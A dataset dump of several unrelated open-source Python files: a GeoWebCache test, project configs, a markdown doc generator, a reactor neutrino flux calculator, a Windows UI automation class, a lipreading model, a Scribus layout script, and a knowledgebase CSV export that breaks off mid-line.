\\n\" + str(task))\n TestGWCInstance.gwc.submit_task(task)\n\n task = GWCTask(\n name=\"topp:tasmania_roads\",\n srs=4326,\n zoomStart=1,\n zoomStop=15,\n format=\"image/png8\",\n type=\"seed\",\n threadCount=1\n )\n print( \"Submitting Task: \\n\" + str(task))\n TestGWCInstance.gwc.submit_task(task)\n\n tasks = TestGWCInstance.gwc.get_tasks()\n assert len(tasks) == 2\n\n print( \"Running Tasks BEFORE: \\n{}\".format(tasks_to_str(tasks)) )\n\n layer = 'topp:states'\n print( \"Killing Tasks for layer: {}\\n\".format(layer))\n TestGWCInstance.gwc.kill_tasks(layer=layer)\n time.sleep(5)\n\n tasks = TestGWCInstance.gwc.get_tasks()\n print( \"Running Tasks AFTER: \\n{}\".format(tasks_to_str(tasks)) )\n\n assert len(tasks) == 1\n\nif __name__ == \"__main__\":\n timeout_decorator.timeout(GLOBAL_TIMEOUT)(unittest.main)()\n","sub_path":"geowebcache/Python/test_gwcinstance.py","file_name":"test_gwcinstance.py","file_ext":"py","file_size_in_byte":5669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"563694830","text":"'''\nStore configuration parameters\n'''\n\n# Random State:\nRANDOM_STATE = 42\n\n# version:\nVERSION = 'v7'\n\n# Resize pics:\nY_PIX = 100\nX_PIX = 160\n\n# crop image:\nY_CROP = 60\n\n# max translation (px):\nMAX_TRANSLATION = 50\n\n# Data Sources:\nSOURCES = {\n 'alfonso':'Data/alfonso/data/'\n# 'udacity': '/home/carnd/Self-Driving-Car-ND/Term1/P3 - Behavioral-Cloning/Data/udacity/data/',\n# 'custom': '/home/carnd/Self-Driving-Car-ND/Term1/P3 - Behavioral-Cloning/Data/custom/data/'\n}\n\n# path to log images:\nPATH_TO_LOG = 'driving_log.csv'\n\n# path with files:\nCURRENT_PATH = 'Data/'\n\n# path to store images:\nPATH_TO_IMG = 'imgs/'\n\n# model path:\nPATH_TO_MODEL = 'Models/'\n","sub_path":"Term1/P3 - Behavioral-Cloning/WorkShop/scripts/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"110290855","text":"import VaultService\nimport datetime\nimport subprocess\nimport os\nimport mdl\nimport Helpers\nimport json\nimport ast\nimport component_schema as cs\nimport sys\nimport collections\nimport copy\nimport markdown_helpers as mdh\n\ndef to_string(str_list):\n return ''.join(str_list)\n\ndef get_attribute(dictionary, key):\n if dictionary:\n d = dict(dictionary)\n if key in d:\n return d[key]\n\n return ''\n\ndef convert_json_to_markdown(json_definition):\n\n markdown = []\n words = dict(mdh.get_common_strings())\n\n if json_definition:\n response = cs.Response(json_definition)\n \n #Helpers.append_line(markdown, '## ' + words['component'])\n if response.component:\n component = response.component\n\n component_attribute_markdown = build_attribute_markdown(component, words, component.name)\n Helpers.append_line(markdown, component_attribute_markdown)\n\n for sub in component.sub_components: \n Helpers.append_line(markdown, '### ' + sub.name)\n sub_component_attribute_markdown = build_attribute_markdown(sub, words, component.name)\n Helpers.append_line(markdown, sub_component_attribute_markdown)\n\n return to_string(markdown)\n\n Helpers.append_line(markdown, \"*\" + words[\"no_docs\"] + \"*\")\n return to_string(markdown)\n\n\ndef link_to_component(component:str):\n return '`{0}`'.format(component)\n\ndef get_attribute_allows(words, attribute:cs.Component_Attribute):\n cell = []\n # Type\n if attribute.component:\n type = link_to_component(attribute.component)\n else:\n type = attribute.type\n\n Helpers.append_line_html(cell, words[\"type\"] + words[\"separator\"] + type)\n \n if attribute.required:\n Helpers.append_line_html(cell, words[\"required\"])\n \n if attribute.multi_value:\n Helpers.append_line_html(cell, words[\"multi_value\"])\n \n if attribute.max_length > -1 and attribute.max_length < 2147483647:\n Helpers.append_line_html(cell, words[\"max_length\"] + words[\"separator\"] + str(attribute.max_length))\n if attribute.max_value > -1 and attribute.max_value < 2147483647:\n Helpers.append_line_html(cell, words[\"max_value\"] + words[\"separator\"] + str(attribute.max_value))\n if attribute.min_value > -1:\n Helpers.append_line_html(cell, words[\"min_value\"] + words[\"separator\"] + str(attribute.min_value))\n \n if attribute.ordered:\n Helpers.append_line_html(cell, words[\"ordered\"] + words[\"separator\"] + str(True))\n\n if attribute.type == 'Enum' and attribute.enums:\n # no need to append_line_html because of
    \n cell.append(words[\"enums\"] + words[\"separator\"])\n enums_str = '
      '\n for enum in attribute.enums:\n enums_str += '
    • {0}
    • '.format(str(enum).replace('_','\\_'))\n enums_str += '
    '\n cell.append(enums_str)\n\n cell_str = ''.join(cell) \n if cell_str.endswith('
    '):\n cell_str = cell_str[:-5]\n return cell_str\n\n\n\ndef build_attribute_markdown(component, common_words, string_file):\n md = []\n Helpers.append_line(md,'')\n\n # | Attribute | Allows | Description | \n header_row = '' \n header_row = mdh.add_column(header_row, common_words['attribute_header'])\n header_row = mdh.add_column(header_row, common_words['allows_header'])\n header_row = mdh.add_column(header_row, common_words['description_header'])\n Helpers.append_line(md, header_row)\n \n Helpers.append_line(md, mdh.header_seperator(3))\n \n for attr in component.attributes: \n attribute_row = ''\n attribute_row = mdh.add_column(attribute_row, '`' + attr.name +'`')\n attribute_row = mdh.add_column(attribute_row, get_attribute_allows(common_words, attr))\n attribute_row = mdh.add_column(attribute_row, get_string_replacement_tag(component.name, attr.name, string_file))\n Helpers.append_line(md, attribute_row)\n\n return ''.join(md)\n\n#components (source/mdl/components). These are called as partials\ndef dump_files(components):\n \n path = \"output/components/\"\n print('dumping post files to {0}'.format(path))\n\n if not os.path.exists(path):\n os.makedirs(path)\n \n for type,json_definition in components:\n markdown = convert_json_to_markdown(json_definition)\n Helpers.save_as_file('_{0}-attributes'.format(type), markdown, path, \"md.erb\")\n \n\ndef default_component_user_strings():\n d = collections.OrderedDict()\n d['overview'] = ''\n d['description'] = ''\n return d\n\ndef get_string_replacement_key(type:str, attribute:str):\n return '{0}'.format(attribute)\n\ndef get_user_string_row(type:str, attribute:str):\n return '- {0}: '.format(get_string_replacement_key(type, attribute))\n\ndef get_string_filename(type:str): \n return '{0}_attr_description'.format(type)\n\ndef get_string_replacement_tag(type:str, attribute:str, file:str):\n # {{ site.data.mdl.Docrelationshiptype_attr_description.Docrelationshiptype-label }} {% assign attr = 'Docrelationshiptype-label' %}\n key = get_string_replacement_key(type, attribute)\n filename = get_string_filename(file)\n part1 = \"data.{0}.mdl.each do |mdl| \".format(filename)\n part2 = \"mdl.{0}\".format(key)\n return \"<% \" + part1 + \" %> <%= \" + part2 + \" %> <% end %>\"\n\ndef append_attribute_user_string_row(user_strings:list, attributes:list, component:str):\n \n for attr in attributes:\n\t Helpers.append_line(user_strings, get_user_string_row(component, attr.name)) \n\ndef create_user_strings(type:str, path:str ,json_definition):\n \n user_strings = []\n Helpers.append_line(user_strings, \"mdl:\")\n Helpers.append_line(user_strings, get_user_string_row(type, \"overview\")) \n Helpers.append_line(user_strings, get_user_string_row(type, \"overview_description\")) \n \n if json_definition:\n response = cs.Response(json_definition)\n if response.component:\n component = response.component\n\n append_attribute_user_string_row(user_strings, component.attributes, component.name)\n \n for sub in component.sub_components:\n append_attribute_user_string_row(user_strings, sub.attributes, sub.name)\n \n file_name = get_string_filename(type) \n Helpers.save_as_file(file_name, to_string(user_strings), path, 'yml')\n\ndef create_user_strings_json(type:str, path:str ,json_definition):\n \n user_strings = default_component_user_strings()\n \n if json_definition:\n response = cs.Response(json_definition)\n if response.component:\n component = response.component\n \n for attr in component.attributes:\n user_strings[attr.name] = '' \n \n for sub in component.sub_components:\n sub_comp_strings = default_component_user_strings()\n for sub_attr in sub.attributes:\n sub_comp_strings[sub_attr.name] = ''\n user_strings[sub.name] = sub_comp_strings\n\n Helpers.dump_json_file(type, user_strings, path)\n\n#yaml files\ndef generate_component_string_files(components: list):\n path = \"output/yaml/\" \n print('dumping string files to {0}'.format(path))\n if not os.path.exists(path):\n os.makedirs(path)\n \n for type,json_definition in components:\n user_strings = create_user_strings(type, path, json_definition)\n\n# pages (includes)\ndef generate_component_pages(components: list):\n path = \"output/pages/\" \n print('dumping pages {0}'.format(path))\n if not os.path.exists(path):\n os.makedirs(path)\n \n for type,json_definition in components:\n create_component_page(type, path)\n\ndef create_component_page(type:str, path:str):\n \n md = [] \n Helpers.append_line(md,'# {0}'.format(type))\n Helpers.append_line(md,'')\n \n Helpers.append_line(md, get_string_replacement_tag(type, 'overview', type))\n Helpers.append_line(md, '')\n\n Helpers.append_line(md, get_string_replacement_tag(type, 'overview_description', type))\n Helpers.append_line(md, '')\n\n # Helpers.append_line(md,'- [Component Attributes](#component)')\n # Helpers.append_line(md,'- [Component Errors](#component-errors)')\n # Helpers.append_line(md,'')\n\n Helpers.append_line(md,'<%= partial \"{0}-attributes\" %> '.format(type))\n Helpers.append_line(md,'')\n\n # We are calling errors on a seperate page, dont need these here \n # Helpers.append_line(md,'## Component Errors')\n # Helpers.append_line(md,'The MDL can raise errors while executing commands on the components for many reasons. The errors which are common to all component are defined in the [Common Errors]({% post_url 2014-12-23-common %}). The following errors (if any) are specific to this component type.')\n # Helpers.append_line(md,'')\n \n # Helpers.append_line(md,'{{% include_relative {0}-errors.markdown %}}'.format(type)) \n # Helpers.append_line(md,'') \n \n Helpers.append_line(md, mdh.get_comment('Auto-generated at ' + str(datetime.datetime.now())))\n \n # Name of saved files, we want these pages as includes\n Helpers.save_as_file('_' + type, ''.join(md), path, 'md.erb')\n\ndef main():\n print(\"\"\"\n _______ _______ _______ _______ _______ _______ _______ _______ \n|\\ /|\\ /|\\ /|\\ /|\\ /|\\ /|\\ /|\\ /|\n| +---+ | +---+ | +---+ | +---+ | +---+ | +---+ | +---+ | +---+ |\n| | | | | | | | | | | | | | | | | | | | | | | | |\n| |M | | |A | | |R | | |K | | |D | | |O | | |W | | |N | |\n| +---+ | +---+ | +---+ | +---+ | +---+ | +---+ | +---+ | +---+ |\n|/_____\\|/_____\\|/_____\\|/_____\\|/_____\\|/_____\\|/_____\\|/_____\\|\n \"\"\")\n \n client = VaultService.get_client()\n instance_name = datetime.datetime.now()\n\n components = mdl.get_component_definitions(client)\n components2 = copy.deepcopy(components)\n components3 = copy.deepcopy(components)\n\n dump_files(components)\n generate_component_string_files(components2)\n generate_component_pages(components3)\n\nif __name__ == '__main__':\n main()\n ","sub_path":"component_markdown.py","file_name":"component_markdown.py","file_ext":"py","file_size_in_byte":10159,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"480446411","text":"'''\nTools for calculating the neutrino rate from a nuclear reactor.\n\nBased on code by:\nAdam Anderson\n14 April 2016\nadama@fnal.gov\n\nModified by:\nJoseph Johnston\n12 July 2019\njpj13@mit.edu\n\nNote: Convention on units:\n --all masses are in kg\n --all energies are in keV\n'''\n\nimport numpy as np\nfrom scipy.integrate import quad\nimport ROOT\nfrom cevns_spectra import ibd_yield\n\nclass NeutrinoSpectrum:\n '''\n Class to calculate the neutrino spectrum from a nuclear reactor\n\n Args:\n distance: Distance from reactor in cm^2\n power: Reactor power in Mw\n fix_2mev: If true, then the spectrum below 2 MeV will be set\n to the value at 2 MeV. (For use for spectral fits that\n were not meant to apply at low energies, eg Mueller)\n frac_u235, frac_u238, frac_pu239, frac_pu241: Fuel fractions\n to be used when calculating the reactor flux\n (Default: u235=1., as in a research reactor)\n include_other: Whether \"other\" neutrinos should be included\n when calculating the flux\n bump_frac: Fraction to decrease the spectrum by before adding\n the reactor bump. The bump will be added such that the\n IBD yield is held constant.\n\n bump_reset will be set to true, and should be reset to\n True whenever the other spectrum parameters are changed,\n because it will force recalculation of the spectrum\n normalization before adding the bump.\n '''\n\n def __init__(self, distance, power, fix_2mev=False,\n frac_u235=1., frac_u238=0., frac_pu239=0., frac_pu241=0.,\n include_other=True, bump_frac=0.,\n mueller_partial=False):\n self.frac_u235 = frac_u235\n self.frac_u238 = frac_u238\n self.frac_pu239 = frac_pu239\n self.frac_pu241 = frac_pu241\n self.include_other = include_other\n self.distance = distance\n self.power = power\n self.fix_2mev = fix_2mev\n self._flux_use_functions = [True, True, True, True, True]\n def flux_other_default(enu):\n if(type(enu)==float):\n enu = np.asarray([enu])\n else:\n enu = np.asarray(enu)\n return 0.0*enu\n self._flux_functions = [None, None, None, None, flux_other_default]\n self._flux_spline_graphs = [None, None, None, None, None]\n self._flux_spline_evals = [None, None, None, None, None]\n self._mueller_partial = mueller_partial\n self.bump_frac = 0.\n self.bump_reset = True\n self._spectrum_integral = 0.\n # Conversion such that the ibd yield stays constant when the bump is added\n self._ibd_yield_conversion = 0.\n \n\n def get_settings_string(self):\n return \"%.2f MW, %i m\"%(self.power, self.distance/100.)\n\n def get_fractions(self):\n '''return fractions as an array \n\n Returns:\n [frac_u235, frac_u238, frac_pu239, frac_pu241]\n '''\n return [self.frac_u235, self.frac_u238, self.frac_pu239, self.frac_pu241]\n\n def set_fractions(self, fractions):\n '''Set fractions with an array\n \n Args:\n arr: [frac_u235, frac_u238, frac_pu239, frac_pu241]\n '''\n self.frac_u235 = fractions[0]\n self.frac_u238 = fractions[1]\n self.frac_pu239 = fractions[2]\n self.frac_pu241 = fractions[3]\n\n def _d_r_d_enu_idx(self, enu, idx):\n '''\n Reator anti neutrino spectrum from isotope idx\n\n Args:\n enu: Neutrino energy in keV (array)\n\n Returns:\n Spectrum in [nu/ keV/ fission] (array)\n '''\n if(type(enu)==float):\n enu = np.asarray([enu])\n else:\n enu = np.asarray(enu)\n spec = 0.0*enu\n if self._flux_use_functions[idx]:\n spec = self._flux_functions[idx](enu)\n if(self.fix_2mev):\n spec[enu<2.e3] = self._flux_functions[idx](2.e3)\n else:\n spec = self._flux_spline_evals[idx](enu)\n if(self.fix_2mev):\n spec[enu<2.e3] = self._flux_spline_evals[idx](2.e3)\n if(self._mueller_partial):\n spec[enu>1.8e3] = self._flux_functions[idx](enu[enu>1.8e3])\n spec[spec<0] = 0\n return spec\n\n def d_r_d_enu_u235(self, enu):\n '''\n Reator anti neutrino spectrum from U-235\n\n Must be initialized via initialize_d_r_d_enu\n\n Args:\n enu: Neutrino energy in keV (array)\n\n Returns:\n Spectrum in [nu/ keV/ fission] (array)\n '''\n return self._d_r_d_enu_idx(enu, 0)\n\n def d_r_d_enu_u238(self, enu):\n '''\n Reator anti neutrino spectrum from U-238\n\n Must be initialized via initialize_d_r_d_enu\n\n Args:\n enu: Neutrino energy in keV (array)\n\n Returns:\n Spectrum in [nu/ keV/ fission] (array)\n '''\n return self._d_r_d_enu_idx(enu, 1)\n\n def d_r_d_enu_pu239(self, enu):\n '''\n Reator anti neutrino spectrum from Pu-239\n\n Must be initialized via initialize_d_r_d_enu\n\n Args:\n enu: Neutrino energy in keV (array)\n\n Returns:\n Spectrum in [nu/ keV/ fission] (array)\n '''\n return self._d_r_d_enu_idx(enu, 2)\n \n def d_r_d_enu_pu241(self, enu):\n '''\n Reator anti neutrino spectrum from Pu-241\n\n Must be initialized via initialize_d_r_d_enu\n\n Args:\n enu: Neutrino energy in keV (array)\n\n Returns:\n Spectrum in [nu/ keV/ fission] (array)\n '''\n return self._d_r_d_enu_idx(enu, 3)\n\n def d_r_d_enu_other(self, enu):\n '''\n Reator anti neutrino spectrum from non-fission isotopes\n\n Initialized to return 0.\n\n Args:\n enu: Neutrino energy in keV (array)\n\n Returns:\n Spectrum in [nu/ keV/ fission] (array)\n '''\n return self._d_r_d_enu_idx(enu, 4)\n\n def d_r_d_enu_bump(self, enu):\n if(self.bump_reset):\n self.bump_reset = False\n # Calculate normalization\n frac = self.bump_frac\n inc_other = self.include_other\n self.bump_frac = 0.\n self.include_other = False\n self._spectrum_integral = quad(self.d_r_d_enu, 0., np.inf)[0]\n ibd_yield_init = ibd_yield(self)\n print(\"ibd_yield_init: %.3e cm^2/fission\"%ibd_yield_init)\n self.bump_frac = 1.\n self._ibd_yield_conversion = 1.\n ibd_yield_bump = ibd_yield(self)\n print(\"ibd_yield_bump: %.3e cm^2/fission\"%ibd_yield_bump)\n self._ibd_yield_conversion = ibd_yield_init/ibd_yield_bump\n print(\"conversion: %.4f\"%self._ibd_yield_conversion)\n self.bump_frac = frac\n self.include_other = inc_other\n mu = 5600.\n sig = 530.\n return self.bump_frac*self._spectrum_integral*self._ibd_yield_conversion*\\\n 1./(sig*np.sqrt(2.*np.pi))*\\\n np.exp(-0.5*((enu-mu)/sig)**2)\n\n def d_r_d_enu(self, enu):\n tot = self.frac_u235*self.d_r_d_enu_u235(enu) +\\\n self.frac_u238*self.d_r_d_enu_u238(enu) +\\\n self.frac_pu239*self.d_r_d_enu_pu239(enu) +\\\n self.frac_pu241*self.d_r_d_enu_pu241(enu)\n # Only modify fission portion to add bump\n if(self.bump_frac>0. and self.bump_frac<=1.0):\n tot *= (1-self.bump_frac)\n tot += self.d_r_d_enu_bump(enu)\n if(self.include_other):\n tot += self.d_r_d_enu_other(enu)\n return tot\n\n def fis_per_s(self):\n '''\n returns\n -------\n fis_per_s: fissions per second assuming 200 MeV\n per fission\n '''\n return self.power/200.0/1.602176565e-19\n\n def nuFlux(self):\n '''\n Computes the total flux per fission of reactor antineutrinos\n at a given distance from the core, assuming a point-like\n flux, and nominal neutrino production\n \n Returns\n -------\n flux : float\n The reactor neutrino flux in fissions/s/cm^2 \n '''\n flux = self.fis_per_s()/ (4*np.pi * self.distance**2.)\n return flux\n\n\n def d_phi_d_enu(self, enu):\n '''\n Reactor neutrino spectrum in neutrinos/(keV*s*cm^2)\n\n Args:\n enu: Neutrino energy in keV\n\n Returns:\n Reactor neutrino spectrum\n '''\n return self.nuFlux() * self.d_r_d_enu(enu)\n\n def d_phi_d_enu_ev(self, enu_ev):\n '''\n Reactor neutrino spectrum in neutrinos/(eV*s*cm^2)\n\n Args:\n enu_ev: Neutrino energy in eV\n\n Returns:\n Reactor neutrino spectrum\n '''\n enu_kev = enu_ev*1e-3\n return self.d_phi_d_enu(enu_kev) * 1e-3\n\n\n def initialize_d_r_d_enu(self, isotope, mode=\"mueller\",\n filename=None, th1_name=None,\n scale=1.0):\n '''\n Initialize a reactor antineutrino spectrum\n\n Args:\n isotope: String specifying isotopes (\"u235\", \"u238\",\n \"pu239\", \"pu241\", or \"other\")\n mode: String specifying how the methods should be\n initialized. Options:\n - \"mueller\" - Use the fit functions from \n arXiv:1101.2663v3. Set the spectrum below\n 2 MeV to the value at 2 MeV\n - \"zero\" - Return 0 for all energies\n - \"txt\" - Read in a spectrum from a text file,\n with energy (MeV) in the first column and\n neutrinos/MeV/fission in the second\n - \"root\" - Read in a spectrum from a TH1 object\n in a root file. A th1_name must be given, \n the x axis must be MeV, and it must be\n normalized to the number of neutrinos/fission\n '''\n isotope_map = {\"u235\":0, \"u238\":1, \"pu239\":2, \"pu241\":3, \"other\":4}\n if not isotope in isotope_map.keys():\n print(\"Invalid isotope selected in initialize_d_r_d_enu\")\n print('\\tPlease select \"u235\", \"u238\", \"pu239\", \"pu241\", or \"other\"')\n return\n\n if(mode==\"txt\" or mode==\"root\"):\n # Create splines\n self._flux_use_functions[isotope_map[isotope]] = False\n enu, spec = list(), list()\n if(mode==\"txt\"):\n enu, spec = np.loadtxt(filename, usecols=(0,1), unpack=True)\n elif(mode==\"root\"):\n rootfile = ROOT.TFile(filename)\n th1 = rootfile.Get(th1_name)\n nxbins = th1.GetNbinsX()\n xaxis = th1.GetXaxis()\n for ibin in range(1, nxbins+1):\n enu.append(xaxis.GetBinCenter(ibin))\n spec.append(th1.GetBinContent(ibin))\n self._flux_spline_graphs[isotope_map[isotope]] = \\\n ROOT.TGraph(len(enu), np.ascontiguousarray(enu),\n scale*np.ascontiguousarray(spec))\n def spl_eval(enu):\n # Graph has energies in MeV, we want keV\n return 1e-3*self._flux_spline_graphs[isotope_map[isotope]].Eval(enu*1e-3)\n spl_eval = np.vectorize(spl_eval)\n self._flux_spline_evals[isotope_map[isotope]] = spl_eval\n elif(mode==\"zero\"):\n self._flux_use_functions[isotope_map[isotope]] = True\n def flux_zero(enu):\n if(type(enu)==float):\n enu = np.asarray([enu])\n else:\n enu = np.asarray(enu)\n return 0.0*np.array(enu)\n self._flux_functions[isotope_map[isotope]] = flux_zero\n if(mode==\"mueller\" or self._mueller_partial):\n if(isotope==\"u235\"):\n def flux_u235(enu):\n if(type(enu)==float):\n enu = np.asarray([enu])\n else:\n enu = np.asarray(enu)\n enu_mev = enu / 1.e3\n return scale * 1e-3 * np.exp(3.217 - 3.111*enu_mev + 1.395*(enu_mev**2.0) - \\\n \t (3.690e-1)*(enu_mev**3.0) + (4.445e-2)*(enu_mev**4.0) - (2.053e-3)*(enu_mev**5.0))\n self._flux_functions[0] = flux_u235\n elif(isotope==\"u238\"):\n def flux_u238(enu):\n if(type(enu)==float):\n enu = np.asarray([enu])\n else:\n enu = np.asarray(enu)\n enu_mev = enu / 1.e3\n return scale * 1e-3 * np.exp((4.833e-1) + (1.927e-1)*enu_mev - (1.283e-1)*enu_mev**2.0 - \\\n \t\t\t\t\t (6.762e-3)*enu_mev**3.0 + (2.233e-3)*enu_mev**4.0 - (1.536e-4)*enu_mev**5.0)\n self._flux_functions[1] = flux_u238\n elif(isotope==\"pu239\"):\n def flux_pu239(enu):\n if(type(enu)==float):\n enu = np.asarray([enu])\n else:\n enu = np.asarray(enu)\n enu_mev = enu / 1.e3\n return scale * 1e-3 * np.exp(6.413 - 7.432*enu_mev + 3.535*enu_mev**2.0 - \\\n \t\t\t\t\t (8.82e-1)*enu_mev**3.0 + (1.025e-1)*enu_mev**4.0 - (4.550e-3)*enu_mev**5.0)\n self._flux_functions[2] = flux_pu239\n elif(isotope==\"pu241\"):\n def flux_pu241(enu):\n if(type(enu)==float):\n enu = np.asarray([enu])\n else:\n enu = np.asarray(enu)\n enu_mev = enu / 1.e3\n return scale * 1e-3 * np.exp(3.251 - 3.204*enu_mev + 1.428*enu_mev**2.0 - \\\n \t\t\t\t\t (3.675e-1)*enu_mev**3.0 + (4.254e-2)*enu_mev**4.0 - (1.896e-3)*enu_mev**5.0)\n self._flux_functions[3] = flux_pu241\n elif(isotope==\"other\"):\n def flux_other(enu):\n if(type(enu)==float):\n enu = np.asarray([enu])\n else:\n enu = np.asarray(enu)\n return 0.0*np.array(enu)\n self._flux_functions[4] = flux_other\n #else:\n #print(\"Invalid mode selected, not initializing\")\n #print(\"\\tisotope: %s\"%isotope)\n #print(\"\\tmode: %s\"%mode)\n #print(\"\\tfilename: %s\"%filename)\n #print(\"\\tth1name: %s\"%th1_name)\n","sub_path":"cevns_spectra/reactor_tools.py","file_name":"reactor_tools.py","file_ext":"py","file_size_in_byte":14546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"59059406","text":"# -*- coding:utf-8 -*-\nimport os\nfrom pywinauto.application import Application, ProcessNotFoundError\nfrom premiumdriver import requester\nfrom premiumdriver.utils.jsonOperate import readJsonFromFile\n\n\nclass Windows(object):\n def __init__(self):\n self.platform = 'windows'\n path = os.path.dirname(os.path.abspath(__file__))\n self.elementsList = readJsonFromFile(os.path.join(path, 'elements_mapping.json'))\n self.app_path = \"C:\\\\Users\\lalali\\Desktop\\wayang\\Windows_wayang\\Release\\AgoraPremiumPro.exe\"\n self.request = requester.Request()\n\n def openWayang(self):\n app_class_name = \"AgoraPremiumPro\"\n app = Application().start(self.app_path)\n dlg = app.window_(name=app_class_name)\n if dlg is not None:\n msg = \"[SUCCESS] Open app successfully.\"\n print(msg)\n return msg\n else:\n print(\"[FAIL] failed to open app with path: \" + self.app_path)\n\n def quitWayang(self):\n try:\n app = Application().connect(path=self.app_path)\n app.kill()\n print(\"[SUCCESS] App get killed.\")\n except ProcessNotFoundError:\n print(\"Wayang is not running.\")\n\n def connectToServer(self):\n app = Application().connect(path=self.app_path)\n\n controls = app.windows(best_match=\"Connect\")\n if len(controls) > 0:\n but_connect = controls[0]\n but_connect.set_focus()\n but_connect.click()\n else:\n print(\"fail to find\")\n\n\nif __name__ == \"__main__\":\n wy = Windows()\n # wy.quitWayang()\n # wy.openWayang()\n wy.connectToServer()\n","sub_path":"wayang_driver/windows/wayang_windows.py","file_name":"wayang_windows.py","file_ext":"py","file_size_in_byte":1649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"334199996","text":"import torch.nn as nn\nfrom .encoder import Seq2SeqEncoder\nfrom .decoder import Seq2SeqDecoder\n\nclass Lipreader(nn.Module):\n '''This is the main class for the model.The model is based on a seq2seq\n ie it takes in an input sequence of video frames and finally converts them\n into a vecotor of fixed dimensions and this is then fed into an encoder'''\n\n def __init__(self,paramsEncoder,paramsDecoder):\n super(Lipreader,self).__init__()\n self.Seq2SeqEncoder = Seq2SeqEncoder(paramsEncoder)\n self.Seq2SeqDecoder = Seq2SeqDecoder(paramsDecoder) \n \n def forward(self,input):\n return self.Seq2SeqDecoder(self.Seq2SeqEncoder(input)) \n","sub_path":"models/lipReader.py","file_name":"lipReader.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"158695201","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom scribus import *\nmargins = (0, 0, 0, 0)\n\ndef text_frame(pos_x, pos_y, frame_width, frame_height, texts_list, fonts_list, font_sizes, colors, alignment = ALIGN_CENTERED, line_spacing = 24):\n this_text_frame = createText(pos_x, pos_y, frame_width, frame_height)\n insertText(texts_list[0] + \"\\n\", -1, this_text_frame)\n setFont(fonts_list[0], this_text_frame); setFontSize(font_sizes[0], this_text_frame); setTextColor(colors[0], this_text_frame)\n previous_line_length = getTextLength(this_text_frame)\n for idx in range(1,len(texts_list)):\n text_line = texts_list[idx]\n length_text_line = len(text_line)\n if idx < len(texts_list) - 1: insertText(text_line + \"\\n\", -1, this_text_frame)\n else: insertText(text_line, -1, this_text_frame)\n selectText(previous_line_length, length_text_line, this_text_frame)\n setFont(fonts_list[idx], this_text_frame)\n selectText(previous_line_length, length_text_line, this_text_frame)\n setFontSize(font_sizes[idx], this_text_frame)\n selectText(previous_line_length, length_text_line, this_text_frame)\n setTextColor(colors[idx], this_text_frame)\n selectText(previous_line_length, length_text_line, this_text_frame)\n setTextAlignment(alignment, this_text_frame)\n previous_line_length += length_text_line + 1\n setTextAlignment(alignment, this_text_frame); setLineSpacing(line_spacing, this_text_frame)\n\ndef draw_line(x1, y1, x2, y2, line_type = LINE_DASH, width = 1, color = \"Map Blue\"):\n this_line = createLine(x1, y1, x2, y2); setLineStyle(line_type, this_line); setLineColor(color, this_line)\n setLineWidth(width, this_line)\n \ndef insert_image(pos_x, pos_y, img_width, img_height, location):\n this_image = createImage(pos_x, pos_y, img_width, img_height); loadImage(location, this_image); setScaleImageToFrame(1, 1, this_image)\n\nif newDocument(PAPER_LETTER, margins, PORTRAIT, 1, UNIT_POINTS, NOFACINGPAGES, FIRSTPAGERIGHT, 1):\n\n defineColor(\"TSU Blue\", 232, 176, 2, 5)\n \n insert_image(-0.5, 0, 616, 796, \"Conf_leaders_cover.jpg\")\n div_width = 210\n div_rect = createRect(612 - div_width, 0, div_width, 30)\n setFillColor(\"White\", div_rect); setLineColor(\"None\", div_rect)\n text_frame(612 - div_width + 4, 5, div_width, 35, [\"Statistical Leaders\"], [\"Asimov Print C\"], [24], [\"TSU Blue\"], alignment = ALIGN_RIGHT)\n # insert_image(30, 56, 70, 70 * (1179.0 / 1200), \"./Division_logos/NCAA_DI_logo_original.png\")\n text_frame(420, 650, 185, 70, [\"Gina Rivera Ortiz\", \"Tennessee State University\", \"Photo: Tennessee State Athletics\"], [\"Asimov Print C\" for idx in range(3)], [12, 12, 12], \n [\"White\" for idx in range(3)], alignment = ALIGN_RIGHT, line_spacing = 15)","sub_path":"Women/Conf_leaders_cover.py","file_name":"Conf_leaders_cover.py","file_ext":"py","file_size_in_byte":2708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"543918559","text":"from __future__ import unicode_literals\n\nimport datetime\nimport HTMLParser\n\nfrom django.utils import html\n\nfrom knowledgebase.models import Question\nfrom paying_for_college.csvkit import csvkit\n\n\nhtml_parser = HTMLParser.HTMLParser()\n\nHEADINGS = [\n 'ASK_ID',\n 'Question',\n 'ShortAnswer',\n 'Answer',\n 'URL',\n 'Status',\n 'Topic',\n 'SubCategories',\n 'Audiences',\n 'RelatedQuestions',\n 'UpsellItems',\n]\n\n\ndef clean_and_strip(data):\n unescaped = html_parser.unescape(data)\n return html.strip_tags(unescaped).strip()\n\n\ndef assemble_output():\n english_questions = Question.objects.exclude(englishanswer=None)\n output_rows = []\n for q in english_questions:\n output = {heading: '' for heading in HEADINGS}\n output['ASK_ID'] = q.id\n output['Question'] = q.title\n output['Answer'] = clean_and_strip(\n q.englishanswer.answer)\n output['ShortAnswer'] = clean_and_strip(\n q.englishanswer.one_sentence_answer)\n output['URL'] = q.englishanswer.get_absolute_url()\n output['Status'] = q.englishanswer.workflow_state\n output['Topic'] = q.question_category.filter(parent=None).first().name\n output['SubCategories'] = \" | \".join(\n [qc.name for qc in q.question_category.exclude(parent=None)])\n output['Audiences'] = \" | \".join(a.name for a in q.audiences.all())\n output['RelatedQuestions'] = \" | \".join(\n [question.__repr__() for question in q.related_questions.all()])\n output['UpsellItems'] = (\n q.englishanswer.upsellitem.title\n if q.englishanswer.upsellitem\n else '')\n output_rows.append(output)\n return output_rows\n\n\ndef export_questions():\n \"\"\"\n Script for exporting original knowledgebase English answers\n to a spreadsheet.\n \"\"\"\n\n timestamp = datetime.datetime.now().strftime(\"%Y-%m-%d\")\n with open('questions_{}.csv'.format(timestamp), 'w') as f:\n writer = 